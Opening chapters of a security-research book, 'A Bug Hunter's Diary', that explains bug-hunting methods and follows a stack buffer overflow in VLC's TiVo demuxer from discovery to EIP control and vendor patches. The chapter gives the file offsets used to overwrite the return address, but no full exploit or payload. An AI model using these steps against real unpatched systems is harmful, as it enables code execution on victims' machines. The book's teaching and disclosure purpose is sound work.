“Give a man an exploit and you make him a hacker for a day; teach a man to exploit bugs and you make him a hacker for a lifetime.” — Felix “FX” Lindner

Seemingly simple bugs can have drastic consequences, allowing attackers to compromise systems, escalate local privileges, and otherwise wreak havoc on a system.

A Bug Hunter’s Diary follows security expert Tobias Klein as he tracks down and exploits bugs in some of the world’s most popular software, like Apple’s iOS, the VLC media player, web browsers, and even the Mac OS X kernel. In this one-of-a-kind account, you’ll see how the developers responsible for these flaws patched the bugs—or failed to respond to them at all.

Along the way you’ll learn how to:

* Use field-tested techniques to find bugs, like identifying and tracing user input data and reverse engineering
* Exploit vulnerabilities like NULL pointer dereferences, buffer overflows, and type conversion flaws
* Develop proof-of-concept code that verifies the security flaw
* Report bugs to vendors or third-party brokers

A Bug Hunter’s Diary is packed with real-world examples of vulnerable code and the custom programs used to find and test bugs. Whether you’re hunting bugs for fun, for profit, or to make the world a safer place, you’ll learn valuable new skills by looking over the shoulder of a professional bug hunter in action.

ABOUT THE AUTHOR

Tobias Klein is a security researcher and founder of NESO Security Labs, an information security consulting and research company. He is the author of two information security books published in the German language by dpunkt.verlag.
A Bug Hunter’s Diary
A Guided Tour Through the Wilds of Software Security

Tobias Klein

No Starch Press
San Francisco
Acknowledgments ................................................................. xi
Introduction ........................................................................... 1
Chapter 1: Bug Hunting .......................................................... 3
Chapter 2: Back to the ‘90s .................................................... 9
Chapter 3: Escape from the WWW Zone ................................. 25
Chapter 4: NULL Pointer FTW .............................................. 51
Chapter 5: Browse and You’re Owned ................................. 71
Chapter 6: One Kernel to Rule Them All ............................. 87
Chapter 7: A Bug Older Than 4.4BSD ................................. 113
Chapter 8: The Ringtone Massacre .................................... 133
Appendix A: Hints for Hunting ......................................... 149
Appendix B: Debugging .................................................... 163
Appendix C: Mitigation ..................................................... 179
Index ................................................................................. 191
CONTENTS IN DETAIL

ACKNOWLEDGMENTS xi

INTRODUCTION 1
The Goals of This Book ................................................................. 1
Who Should Read the Book ......................................................... 1
Disclaimer ..................................................................................... 2
Resources ....................................................................................... 2

CHAPTER 1: BUG HUNTING 3
1.1 For Fun and Profit ........................................................................ 4
1.2 Common Techniques ............................................................... 4
  My Preferred Techniques ........................................................... 4
  Potentially Vulnerable Code Locations ....................................... 5
  Fuzzing ................................................................................. 5
  Further Reading ...................................................................... 5
1.3 Memory Errors ........................................................................ 6
1.4 Tools of the Trade ..................................................................... 6
  Debuggers ............................................................................. 6
  Disassemblers ....................................................................... 7
1.5 EIP = 41414141 ..................................................................... 7
1.6 Final Note ............................................................................ 8

CHAPTER 2: BACK TO THE ’90S 9
2.1 Vulnerability Discovery ........................................................... 10
  Step 1: Generate a List of the Demuxers of VLC ....................... 10
  Step 2: Identify the Input Data ............................................... 11
  Step 3: Trace the Input Data .................................................. 11
2.2 Exploitation ........................................................................... 12
  Step 1: Find a Sample TiVo Movie File .................................. 13
  Step 2: Find a Code Path to Reach the Vulnerable Code ........... 13
  Step 3: Manipulate the TiVo Movie File to Crash VLC ............. 16
  Step 4: Manipulate the TiVo Movie File to Gain Control of EIP .... 17
2.3 Vulnerability Remediation ..................................................... 18
2.4 Lessons Learned .................................................................... 22
2.5 Addendum ........................................................................... 22
CHAPTER 3: ESCAPE FROM THE WWW ZONE 25

3.1 Vulnerability Discovery ........................................... 25
   Step 1: List the IOCTLs of the Kernel .............................. 26
   Step 2: Identify the Input Data .................................. 27
   Step 3: Trace the Input Data ...................................... 28

3.2 Exploitation ..................................................... 35
   Step 1: Trigger the NULL Pointer Dereference for a Denial of Service .... 35
   Step 2: Use the Zero Page to Get Control over EIP/RIP ............... 39

3.3 Vulnerability Remediation ...................................... 48

3.4 Lessons Learned ................................................ 49

3.5 Addendum ....................................................... 49

CHAPTER 4: NULL POINTER FTW 51

4.1 Vulnerability Discovery ......................................... 52
   Step 1: List the Demuxers of FFmpeg ............................... 52
   Step 2: Identify the Input Data .................................. 52
   Step 3: Trace the Input Data ...................................... 53

4.2 Exploitation ..................................................... 56
   Step 1: Find a Sample 4X Movie File with a Valid strk Chunk .......... 57
   Step 2: Learn About the Layout of the strk Chunk .................. 57
   Step 3: Manipulate the strk Chunk to Crash FFmpeg ................. 58
   Step 4: Manipulate the strk Chunk to Gain Control over EIP ........ 61

4.3 Vulnerability Remediation ...................................... 66

4.4 Lessons Learned ................................................ 69

4.5 Addendum ....................................................... 69

CHAPTER 5: BROWSE AND YOU’RE OWNED 71

5.1 Vulnerability Discovery ......................................... 71
   Step 1: List the Registered WebEx Objects and Exported Methods .... 72
   Step 2: Test the Exported Methods in the Browser .................. 74
   Step 3: Find the Object Methods in the Binary ...................... 76
   Step 4: Find the User-Controlled Input Values ...................... 78
   Step 5: Reverse Engineer the Object Methods ....................... 79

5.2 Exploitation ..................................................... 82

5.3 Vulnerability Remediation ...................................... 84

5.4 Lessons Learned ................................................ 84

5.5 Addendum ....................................................... 84

CHAPTER 6: ONE KERNEL TO RULE THEM ALL 87

6.1 Vulnerability Discovery ......................................... 88
   Step 1: Prepare a VMware Guest for Kernel Debugging .............. 88
   Step 2: Generate a List of the Drivers and Device Objects Created by avast! ........................................... 88
   Step 3: Check the Device Security Settings ........................ 90
   Step 4: List the IOCTLs ............................................ 90
   Step 5: Find the User-Controlled Input Values ...................... 97
   Step 6: Reverse Engineer the IOCTL Handler ....................... 99
### Appendix B: Debugging Tools

<table>
<thead>
<tr>
<th>Section</th>
</tr>
</thead>
<tbody>
<tr>
<td>B.2 The Windows Debugger (WinDbg)</td>
</tr>
<tr>
<td>Starting and Stopping a Debugging Session</td>
</tr>
<tr>
<td>General Commands</td>
</tr>
<tr>
<td>Breakpoints</td>
</tr>
<tr>
<td>Running the Debuggee</td>
</tr>
<tr>
<td>Examining Data</td>
</tr>
<tr>
<td>Information Commands</td>
</tr>
<tr>
<td>Other Commands</td>
</tr>
<tr>
<td>B.3 Windows Kernel Debugging</td>
</tr>
<tr>
<td>Step 1: Configure the VMware Guest System for Remote Kernel Debugging</td>
</tr>
<tr>
<td>Step 2: Adjust the boot.ini of the Guest System</td>
</tr>
<tr>
<td>Step 3: Configure WinDbg on the VMware Host for Windows Kernel Debugging</td>
</tr>
<tr>
<td>B.4 The GNU Debugger (gdb)</td>
</tr>
<tr>
<td>Starting and Stopping gdb</td>
</tr>
<tr>
<td>General Commands</td>
</tr>
<tr>
<td>Breakpoints</td>
</tr>
<tr>
<td>Running the Debuggee</td>
</tr>
<tr>
<td>Examining Data</td>
</tr>
<tr>
<td>Information Commands</td>
</tr>
<tr>
<td>Other Commands</td>
</tr>
<tr>
<td>B.5 Using Linux as a Mac OS X Kernel-Debugging Host</td>
</tr>
<tr>
<td>Step 1: Install an Ancient Red Hat 7.3 Linux Operating System</td>
</tr>
<tr>
<td>Step 2: Get the Necessary Software Packages</td>
</tr>
<tr>
<td>Step 3: Build Apple’s Debugger on the Linux Host</td>
</tr>
<tr>
<td>Step 4: Prepare the Debugging Environment</td>
</tr>
</tbody>
</table>

### Appendix C: Mitigation

<table>
<thead>
<tr>
<th>Section</th>
</tr>
</thead>
<tbody>
<tr>
<td>C.1 Exploit Mitigation Techniques</td>
</tr>
<tr>
<td>Address Space Layout Randomization (ASLR)</td>
</tr>
<tr>
<td>Security Cookies (/GS), Stack-Smashing Protection (SSP), or Stack Canaries</td>
</tr>
<tr>
<td>NX and DEP</td>
</tr>
<tr>
<td>Detecting Exploit Mitigation Techniques</td>
</tr>
<tr>
<td>C.2 RELRO</td>
</tr>
<tr>
<td>Test Case 1: Partial RELRO</td>
</tr>
<tr>
<td>Test Case 2: Full RELRO</td>
</tr>
<tr>
<td>Conclusion</td>
</tr>
<tr>
<td>C.3 Solaris Zones</td>
</tr>
<tr>
<td>Terminology</td>
</tr>
<tr>
<td>Set Up a Non-Global Solaris Zone</td>
</tr>
</tbody>
</table>

### Index

191
I would like to thank the following people for their technical reviews and input on the book: Felix “FX” Lindner, Sebastian Krahmer, Dan Rosenberg, Fabian Mihailowitsch, Steffen Trösch, Andreas Kurtz, Marco Lorenz, Max Ziegler, René Schönfeldt, and Silke Klein, as well as Sondra Silverhawk, Alison Law, and everyone else at No Starch Press.
Welcome to *A Bug Hunter’s Diary*. This book describes the life cycles of seven interesting, real-life software security vulnerabilities I found over the past several years. Each chapter focuses on one bug. I’ll explain how I found the bug, the steps I took to exploit it, and how the vendor eventually patched it.

**The Goals of This Book**

The primary goal of this book is to provide you with practical exposure to the world of bug hunting. After reading this book, you will have a better understanding of the approaches that bug hunters use to find security vulnerabilities, how they create proof-of-concept code to test the vulnerabilities, and how they can report vulnerabilities to the vendor.

The secondary goal of this book is to tell the story behind each of these seven bugs. I think they deserve it.

**Who Should Read the Book**

This book is aimed at security researchers, security consultants, C/C++ programmers, penetration testers, and anyone else who wants to dive
Introduction

into the exciting world of bug hunting. To get the most out of the book, you should have a solid grasp of the C programming language and be familiar with x86 assembly.

If you are new to vulnerability research, this book will help you to get acquainted with the different aspects of hunting, exploiting, and reporting software vulnerabilities. If you are an already-experienced bug hunter, this book will offer a new perspective on familiar challenges and will likely make you chuckle at times—or put a knowing smile on your face.

Disclaimer

The goal of this book is to teach readers how to identify, protect against, and mitigate software security vulnerabilities. Understanding the techniques used to find and exploit vulnerabilities is necessary to thoroughly grasp the underlying problems and appropriate mitigation techniques. Since 2007, it is no longer legal to create or distribute “hacking tools” in Germany, my home country. Such tools include simple port scanners as well as working exploits. Therefore, to comply with the law, no full working exploit code is provided in this book. The examples simply show the steps used to gain control of the execution flow (the instruction pointer or program counter control) of a vulnerable program.

Resources

All URLs referenced throughout the book as well as the code examples, errata, updates, and other information can be found at http://www.trapkit.de/books/bhd/.
Bug hunting is the process of finding bugs in software or hardware. In this book, however, the term bug hunting will be used specifically to describe the process of finding security-critical software bugs. Security-critical bugs, also called software security vulnerabilities, allow an attacker to remotely compromise systems, escalate local privileges, cross privilege boundaries, or otherwise wreak havoc on a system.

About a decade ago, hunting for software security vulnerabilities was mostly done as a hobby or as a way to gain media attention. Bug hunting found its way into the mainstream when people realized that it’s possible to profit from vulnerabilities.¹

Software security vulnerabilities, and programs that take advantage of such vulnerabilities (known as exploits), get a lot of press coverage. In addition, numerous books and Internet resources describe the process of exploiting these vulnerabilities, and there are perpetual debates over how to disclose bug findings. Despite all this, surprisingly little has been published on the bug-hunting process itself. Although terms like software vulnerability or exploit are widely used, many people—even many information security professionals—don’t know how bug hunters find security vulnerabilities in software.

If you ask 10 different bug hunters how they search through software for security-related bugs, you will most likely get 10 different
answers. This is one of the reasons why there is not, and probably will never be, a “cookbook” for bug hunting. Rather than trying and failing to write a book of generalized instructions, I will describe the approaches and techniques that I used to find specific bugs in real-life software. Hopefully this book will help you develop your own style so you can find some interesting security-critical software bugs.

1.1 For Fun and Profit

People who hunt for bugs have a variety of goals and motivations. Some independent bug hunters want to improve software security, while others seek personal gain in the form of fame, media attention, payment, or employment. A company might want to find bugs to use them as fodder for marketing campaigns. Of course, there are always the bad apples who want to find new ways to break into systems or networks. On the other hand, some people simply do it for fun—or to save the world. ☺

1.2 Common Techniques

Although no formal documentation exists that describes the standard bug-hunting process, common techniques do exist. These techniques can be split into two categories: static and dynamic. In static analysis, also referred to as static code analysis, the source code of the software, or the disassembly of a binary, is examined but not executed. Dynamic analysis, on the other hand, involves debugging or fuzzing the target software while it’s executing. Both techniques have pros and cons, and most bug hunters use a combination of static and dynamic techniques.

My Preferred Techniques

Most of the time, I prefer the static analysis approach. I usually read the source code or disassembly of the target software line by line and try to understand it. However, reading all the code from beginning to end is generally not practical. When I’m looking for bugs, I typically start by trying to identify where user-influenced input data enters the software through an interface to the outside world. This could be network data, file data, or data from the execution environment, to name just a few examples.

Next, I study the different ways that the input data can travel through the software, while looking for any potentially exploitable code that acts on the data. Sometimes I’m able to identify these entry points solely by reading the source code (see Chapter 2) or the disassembly (see Chapter 6). In other cases, I have to combine static analysis with the results of debugging the target software (see Chapter 5) to find the input-handling code. I also tend to combine static and dynamic approaches when developing an exploit.
After I’ve found a bug, I want to prove if it’s actually exploitable, so I attempt to build an exploit for it. When I build such an exploit, I spend most of my time in the debugger.

**Potentially Vulnerable Code Locations**

This is only one approach to bug hunting. Another tactic for finding potentially vulnerable locations in the code is to look at the code near “unsafe” C/C++ library functions, such as `strcpy()` and `strcat()`, in search of possible buffer overflows. Alternatively, you could search the disassembly for `movsx` assembler instructions in order to find sign-extension vulnerabilities. If you find a potentially vulnerable code location, you can then trace backward through the code to see whether these code fragments expose any vulnerabilities accessible from an application entry point. I rarely use this approach, but other bug hunters swear by it.

**Fuzzing**

A completely different approach to bug hunting is known as fuzzing. Fuzzing is a dynamic-analysis technique that consists of testing an application by providing it with malformed or unexpected input. Though I’m not an expert in fuzzing and fuzzing frameworks—I know bug hunters who have developed their own fuzzing frameworks and find most of their bugs with their fuzzing tools—I do use this approach from time to time to determine where user-influenced input enters the software and sometimes to find bugs (see Chapter 8).

You may be wondering how fuzzing can be used to identify where user-influenced input enters the software. Imagine you have a complex application in the form of a binary that you want to examine for bugs. It isn’t easy to identify the entry points of such complex applications, but complex software often tends to crash while processing malformed input data. This can hold true for software that parses data files, such as office products, media players, or web browsers. Most of these crashes are not security relevant (e.g., a division-by-zero bug in a browser), but they often provide an entry point where I can start looking for user-influenced input data.

**Further Reading**

These are only a few of the available techniques and approaches that can be used to find bugs in software. For more information on finding security vulnerabilities in source code, I recommend Mark Dowd, John McDonald, and Justin Schuh’s *The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities* (Addison-Wesley, 2007). If you want more information about fuzzing, see Michael Sutton, Adam Greene, and Pedram Amini’s *Fuzzing: Brute Force Vulnerability Discovery* (Addison-Wesley, 2007).
1.3 Memory Errors

The vulnerabilities described in this book have one thing in common: They all lead to exploitable memory errors. Such memory errors occur when a process, a thread, or the kernel is

- Using memory it does not own (e.g., NULL pointer dereferences, as described in Section A.2)
- Using more memory than has been allocated (e.g., buffer overflows, as described in Section A.1)
- Using uninitialized memory (e.g., uninitialized variables)\(^2\)
- Using faulty heap-memory management (e.g., double frees)\(^3\)

Memory errors typically happen when powerful C/C++ features like explicit memory management or pointer arithmetic are used incorrectly.

A subcategory of memory errors, called memory corruption, happens when a process, a thread, or the kernel modifies a memory location that it doesn’t own or when the modification corrupts the state of the memory location.

If you’re not familiar with such memory errors, I suggest you have a look at Sections A.1, A.2, and A.3. These sections describe the basics of the programming errors and vulnerabilities discussed in this book.

In addition to exploitable memory errors, dozens of other vulnerability classes exist. These include logical errors and web-specific vulnerabilities like cross-site scripting, cross-site request forgery, and SQL injection, to name just a few. However, these other vulnerability classes are not the subject of this book. All the bugs discussed in this book were the result of exploitable memory errors.

1.4 Tools of the Trade

When searching for bugs, or building exploits to test them, I need a way to see inside the workings of applications. I most often use debuggers and disassemblers to gain that inside view.

Debuggers

A debugger normally provides methods to attach to user space processes or the kernel, write and read values to and from registers and memory, and to control program flow using features such as breakpoints or single-stepping. Each operating system typically ships with its own debugger, but several third-party debuggers are available as well. Table 1-1 lists the different operating system platforms and the debuggers used in this book.
Table 1-1: Debuggers Used in This Book

<table>
<thead>
<tr>
<th>Operating system</th>
<th>Debugger</th>
<th>Kernel debugging</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft Windows</td>
<td>WinDbg (the official debugger from Microsoft)</td>
<td>yes</td>
</tr>
<tr>
<td></td>
<td>OllyDbg and its variant Immunity Debugger</td>
<td>no</td>
</tr>
<tr>
<td>Linux</td>
<td>The GNU Debugger (gdb)</td>
<td>yes</td>
</tr>
<tr>
<td>Solaris</td>
<td>The Modular Debugger (mdb)</td>
<td>yes</td>
</tr>
<tr>
<td>Mac OS X</td>
<td>The GNU Debugger (gdb)</td>
<td>yes</td>
</tr>
<tr>
<td>Apple iOS</td>
<td>The GNU Debugger (gdb)</td>
<td>yes</td>
</tr>
</tbody>
</table>

These debuggers will be used to identify, analyze and exploit the vulnerabilities that I discovered. See also Sections B.1, B.2, and B.4 for some debugger command cheat sheets.

Disassemblers

If you want to audit an application and don’t have access to the source code, you can analyze the program binaries by reading the application’s assembly code. Although debuggers have the ability to disassemble the code of a process or the kernel, they usually are not especially easy or intuitive to work with. A program that fills this gap is the Interactive Disassembler Professional, better known as IDA Pro. IDA Pro supports more than 50 families of processors and provides full interactivity, extensibility, and code graphing. If you want to audit a program binary, IDA Pro is a must-have. For an exhaustive treatment of IDA Pro and all of its features, consult Chris Eagle’s The IDA Pro Book, 2nd edition (No Starch Press, 2011).

1.5 EIP = 41414141

To illustrate the security implications of the bugs that I found, I will discuss the steps needed to gain control of the execution flow of the vulnerable program by controlling the instruction pointer (IP) of the CPU. The instruction pointer or program counter (PC) register contains the offset in the current code segment for the next instruction to be executed. If you gain control of this register, you fully control the execution flow of the vulnerable process. To demonstrate instruction pointer control, I will modify the register to values like 0x41414141 (hexadecimal representation of ASCII “AAAA”), 0x41424344 (hexadecimal representation of ASCII “ABCD”), or something similar. So if you see EIP = 41414141...
in the following chapters, it means that I’ve gained control of the vulnerable process.

Once you achieve control over the instruction pointer, there are many ways to turn it into a fully working, weaponized exploit. For more information on the process of exploit development, you can refer to Jon Erickson’s *Hacking: The Art of Exploitation*, 2nd edition (No Starch Press, 2008), or you can type *exploit writing* into Google and browse through the enormous amount of material available online.

### 1.6 Final Note

We’ve covered a lot of ground in this chapter, and you might be left with a lot of questions. Don’t worry—that’s a fine place to be. The following seven diary chapters delve into more detail on the topics introduced here and will answer many of your questions. You can also read through the appendixes for background information on various topics discussed throughout this book.

**NOTE** The diary chapters are not in chronological order. They’re arranged according to the subject matter so that the concepts build on one another.

### Notes


Dear Diary,

I had a look at the source code of VideoLAN’s popular VLC media player today. I like VLC because it supports all different kinds of media files and runs on all my favorite operating system platforms. But supporting all those different media file formats has downsides. VLC does a lot of parsing, and that often means a lot of bugs just waiting to be discovered.

**NOTE**  According to Parsing Techniques: A Practical Guide by Dick Grune and Ceriel J.H. Jacobs, “Parsing is the process of structuring a linear representation in accordance with a given grammar.” A parser is software that breaks apart a raw string of bytes into individual words and statements. Depending on the data format, parsing can be a very complex and error-prone task.

After I became familiar with the inner workings of VLC, finding the first vulnerability took me only about half a day. It was a classic stack buffer overflow (see Section A.1). This one occurred while
parsing a media file format called TiVo, the proprietary format native to TiVo digital recording devices. Before finding this bug, I had never heard of this file format, but that didn’t stop me from exploiting it.

2.1 Vulnerability Discovery

Here is how I found the vulnerability:

- Step 1: Generate a list of the demuxers of VLC.
- Step 2: Identify the input data.
- Step 3: Trace the input data.

I’ll explain this process in detail in the following sections.

**Step 1: Generate a List of the Demuxers of VLC**

After downloading and unpacking the source code of VLC, I generated a list of the available demuxers of the media player.

*Note* In digital video, demuxing or demultiplexing refers to the process of separating audio and video as well as other data from a video stream or container in order to play the file. A demuxer is software that extracts the components of such a stream or container.

Generating a list of demuxers wasn’t too hard, as VLC separates most of them in different C files in the directory `vlc-0.9.4/modules/demux` (see Figure 2-1).

![Figure 2-1: VLC demuxer list](image-url)
Step 2: Identify the Input Data

Next, I tried to identify the input data processed by the demuxers. After reading some C code, I stumbled upon the following structure, which is declared in a header file included in every demuxer.

Source code file  vlc-0.9.4\include\vlc_demux.h

```c
struct demux_t
{
    VLC_COMMON_MEMBERS

    /* Module properties */
    module_t    *p_module;

    /* eg informative but needed (we can have access+demux) */
    char        *psz_access;
    char        *psz_demux;
    char        *psz_path;

    /* input stream */
    stream_t    *s;    /* NULL in case of a access+demux in one */
}
```

In line 54, the structure element `s` is declared and described as `input stream`. This was exactly what I was searching for: a reference to the input data that is processed by the demuxers.

Step 3: Trace the Input Data

After I discovered the `demux_t` structure and its input stream element, I searched the demuxer files for references to it. The input data was usually referenced by `p_demux->s`, as shown in lines 1623 and 1641 below. When I found such a reference, I traced the input data while looking for coding errors. Using this approach, I found the following vulnerability.

Source code file  vlc-0.9.4\modules\demux\Ty.c

Function  parse_master()

```c
static void parse_master(demux_t *p_demux)
{
    demux_sys_t *p_sys = p_demux->p_sys;
    uint8_t mst_buf[32];
    int i, i_map_size;
    int64_t i_save_pos = stream_Tell(p_demux->s);
    int64_t i_pts_secs;

    /* Note that the entries in the SEQ table in the stream may have
       different sizes depending on the bits per entry. We store them
       all in the same size structure, so we have to parse them out one
       by one. If we had a dynamic structure, we could simply read the
       entire table directly from the stream into memory in place. */
```
The stream_Read() function in line 1641 reads 32 bytes of user-controlled data from a TiVo media file (referenced by p_demux->s) and stores them in the stack buffer mst_buf, declared in line 1626. The U32_AT macro in line 1642 then extracts a user-controlled value from mst_buf and stores it in the signed int variable i_map_size. In line 1650, the stream_Read() function stores user-controlled data from the media file in the stack buffer mst_buf again. But this time, stream_Read() uses the user-controlled value of i_map_size to calculate the size of the data that gets copied into mst_buf. This leads to a straight stack buffer overflow (see Section A.1) that can be easily exploited.

Here is the anatomy of the bug, as illustrated in Figure 2-2:

1. 32 bytes of user-controlled TiVo media file data are copied into the stack buffer mst_buf. The destination buffer has a size of 32 bytes.
2. 4 bytes of user-controlled data are extracted from the buffer and stored in i_map_size.
3. User-controlled TiVo media-file data is copied into mst_buf once again. This time, the size of the copied data is calculated using i_map_size. If i_map_size has a value greater than 24, a stack buffer overflow will occur (see Section A.1).

### 2.2 Exploitation

To exploit the vulnerability, I performed the following steps:

- Step 1: Find a sample TiVo movie file.
- Step 2: Find a code path to reach the vulnerable code.
- Step 3: Manipulate the TiVo movie file to crash VLC.
- Step 4: Manipulate the TiVo movie file to gain control of EIP.
There’s more than one way to exploit a file-format bug. You can create a file with the right format from scratch, or you can manipulate a valid preexisting file. I chose the latter in this example.

**Step 1: Find a Sample TiVo Movie File**

First I downloaded the following TiVo sample file from [http://samples.mplayerhq.hu/](http://samples.mplayerhq.hu/):

```
$ wget http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b
--2008-10-12 21:12:25--  http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b
Resolving samples.mplayerhq.hu... 213.144.138.186
Connecting to samples.mplayerhq.hu|213.144.138.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5242880 (5.0M) [text/plain]
Saving to: `test-dtivo-junkskip.ty+`

100%[==========================================] 5,242,880  240K/s in 22s
2008-10-12 21:12:48 (232 KB/s) - `test-dtivo-junkskip.ty+` saved [5242880/5242880]
```

**Step 2: Find a Code Path to Reach the Vulnerable Code**

I couldn’t find documentation on the specifications of the TiVo file format, so I read the source code in order to find a path to reach the vulnerable code in `parse_master()`.
If a TiVo file is loaded by VLC, the following execution flow is taken (all source code references are from vlc-0.9.4\modules\demux\Ty.c of VLC). The first relevant function that’s called is Demux():

```c
386 static int Demux( demux_t *p_demux )
387 {
388     demux_sys_t *p_sys = p_demux->p_sys;
389     ty_rec_hdr_t *p_rec;
390     block_t *p_block_in = NULL;
391
392     /*msg_Dbg(p_demux, "ty demux processing" );*/
393
394     /* did we hit EOF earlier? */
395     if( p_sys->eof )
396         return 0;
397
398     /*
399      * what we do (1 record now.. maybe more later):
400      * - use stream_Read() to read the chunk header & record headers
401      * - discard entire chunk if it is a PART header chunk
402      * - parse all the headers into record header array
403      * - keep a pointer of which record we’re on
404      * - use stream_Block() to fetch each record
405      * - parse out PTS from PES headers
406      * - set PTS for data packets
407      * - pass the data on to the proper codec via es_out_Send()
408
409      * if this is the first time or
410      * if we’re at the end of this chunk, start a new one
411      */
412     if( p_sys->b_first_chunk || p_sys->i_cur_rec >= p_sys->i_num_recs )
413     {
414         if( get_chunk_header(p_demux) == 0 )
415     }
[..]
```

After some sanity checks in lines 395 and 413, the function `get_chunk_header()` is called in line 415.

```c
112 #define TIVO_PES_FILEID   ( 0xf5467abd )
[..]
1839 static int get_chunk_header(demux_t *p_demux)
1840 {
1841     int i_readSize, i_num_recs;
1842     uint8_t *p_hdr_buf;
1843     const uint8_t *p_peek;
1844     demux_sys_t *p_sys = p_demux->p_sys;
1845     int i_payload_size;             /* sum of all records' sizes */
1846     msg_Dbg(p_demux, "parsimg ty chunk #\%d", p_sys->i_cur_chunk );
1847     /* if we have left-over filler space from the last chunk, get that */
1848     if (p_sys->i_stuff_cnt > 0) {
[..]
```
In line 1856 of get_chunk_header(), the user-controlled data from the TiVo file is assigned to the pointer p_peek. Then, in line 1867, the process checks whether the file data pointed to by p_peek equals TIVO_PES_FILEID (which is defined as 0xf5467abd in line 112). If so, the vulnerable function parse_master() gets called (see line 1870).

To reach the vulnerable function using this code path, the TiVo sample file had to contain the value of TIVO_PES_FILEID. I searched the TiVo sample file for the TIVO_PES_FILEID pattern and found it at file offset 0x00300000 (see Figure 2-3).

![Figure 2-3: TIVO_PES_FILEID pattern in TiVo sample file](image)

Based on the information from the parse_master() function (see the following source code snippet) the value of i_map_size should be found at offset 20 (0x14) relative to the TIVO_PES_FILEID pattern found at file offset 0x00300000.

At this point, I had discovered that the TiVo sample file I downloaded already triggers the vulnerable parse_master() function, so it wouldn’t be necessary to adjust the sample file. Great!
Step 3: Manipulate the TiVo Movie File to Crash VLC

Next, I tried to manipulate the TiVo sample file in order to crash VLC. To achieve this, all I had to do was change the 4-byte value at the sample file offset of `i_map_size` (which was `0x00300014` in this example).

As illustrated in Figure 2-4, I changed the 32-bit value at file offset `0x00300014` from `0x00000002` to `0x000000ff`. The new value of 255 bytes (`0xff`) should be enough to overflow the 32-byte stack buffer and to overwrite the return address stored after the buffer on the stack (see Section A.1). Next, I opened the altered sample file with VLC while debugging the media player with Immunity Debugger. The movie file was played as before, but after a few seconds—as soon as the altered file data was processed—the VLC player crashed, with the result shown in Figure 2-5.

As expected, VLC crashed while parsing the malformed TiVo file. The crash was very promising, since the instruction pointer (EIP...
register) was pointing to an invalid memory location (indicated by the message Access violation when executing [20030000] in the status bar of the debugger). This might mean that I could easily gain control of the instruction pointer.

**Step 4: Manipulate the TiVo Movie File to Gain Control of EIP**

My next step was to determine which bytes of the sample file actually overwrote the return address of the current stack frame so that I could take control of EIP. The debugger stated that EIP had a value of 0x20030000 at the time of the crash. To determine which offset this value is found at, I could try to calculate the exact file offset, or I could simply search the file for the byte pattern. I chose the latter approach and started from file offset 0x00300000. I found the desired byte sequence at file offset 0x0030005c, represented in little-endian notation, and I changed the 4 bytes to the value 0x41414141 (as illustrated in Figure 2-6).

![Figure 2-6: New value for EIP in TiVo sample file](image)

I then restarted VLC in the debugger and opened the new file (see Figure 2-7).

![Figure 2-7: EIP control of VLC media player](image)
EIP = 41414141... Mission EIP control accomplished! I was able to build a working exploit, intended to achieve arbitrary code execution, using the well-known jmp reg technique, as described in “Variations in Exploit Methods Between Linux and Windows” by David Litchfield.

Since Germany has strict laws against it, I will not provide you with a full working exploit, but if you're interested, you can watch a short video I recorded that shows the exploit in action.

2.3 Vulnerability Remediation

Saturday, October 18, 2008

Now that I've discovered a security vulnerability, I could disclose it in several ways. I could contact the software developer and “responsibly” tell him what I’ve found and help him to create a patch. This process is referred to as responsible disclosure. Since this term implies that other means of disclosure are irresponsible, which isn’t necessarily true, it is slowly being replaced by coordinated disclosure.

On the other hand, I could sell my findings to a vulnerability broker and let him tell the software developer. Today, the two primary players in the commercial vulnerability market are Verisign’s iDefense Labs, with its Vulnerability Contribution Program (VCP), and Tipping Point’s Zero Day Initiative (ZDI). Both VCP and ZDI follow coordinated-disclosure practices and work with the affected vendor.

Another option is full disclosure. If I chose full disclosure, I would release the vulnerability information to the public without notifying the vendor. There are other disclosure options, but the motivation behind them usually doesn’t involve fixing the bug (for example, selling the findings in underground markets).

In the case of the VLC vulnerability described in this chapter, I chose coordinated disclosure. In other words, I notified the VLC maintainers, provided them with the necessary information, and coordinated with them on the timing of public disclosure.

After I informed the VLC maintainers about the bug, they developed the following patch to address the vulnerability:

--- a/modules/demux/ty.c
+++ b/modules/demux/ty.c
@@ -1639,12 +1639,14 @@ static void parse_master(demux_t *p_demux)
     /* parse all the entries */
     p_sys->seq_table = malloc(p_sys->i_seq_table_size * sizeof(ty_seq_table_t));
     for (i=0; i<p_sys->i_seq_table_size; i++) {
-        stream_Read(p_demux->s, mst_buf, 8 + i_map_size);
+        stream_Read(p_demux->s, mst_buf, 8);
        p_sys->seq_table[i].l_timestamp = U64_AT(&mst_buf[0]);
        if (i_map_size > 8) {
            msg_Err(p_demux, "Unsupported SEQ bitmap size in master chunk");
+            stream_Read(p_demux->s, NULL, i_map_size);
            memset(p_sys->seq_table[i].chunk_bitmask, i_map_size, 0);
The changes are quite straightforward. The formerly vulnerable call to `stream_Read()` now uses a fixed size value, and the user-controlled value of `i_map_size` is used only as a size value for `stream_Read()` if it is less than or equal to 8. An easy fix for an obvious bug.

But wait—is the vulnerability really gone? The variable `i_map_size` is still of the type signed int. If a value greater than or equal to `0x80000000` is supplied for `i_map_size`, it’s interpreted as negative, and the overflow will still occur in the `stream_Read()` and `memcpy()` functions of the else branch of the patch (see Section A.3 for a description of unsigned int and signed int ranges). I also reported this problem to the VLC maintainers, resulting in another patch:

Now that `i_map_size` is of the type unsigned int, this bug is fixed. Perhaps you’ve already noticed that the `parse_master()` function contains another buffer overflow vulnerability. I also reported that bug to the VLC maintainers. If you can’t spot it, then take a closer look at the second patch provided by the VLC maintainers, which fixed this bug as well.

One thing that surprised me was the fact that none of the lauded exploit mitigation techniques of Windows Vista were able to stop me from taking control of EIP and executing arbitrary code from the stack using the `jmp reg` technique. The security cookie or /GS feature should have prevented the manipulation of the return address. Furthermore, ASLR or NX/DEP should have prevented arbitrary code execution. (See Section C.1 for a detailed description of all of these mitigation techniques.)

To solve this mystery, I downloaded Process Explorer[^9] and configured it to show the processes’ DEP and ASLR status.
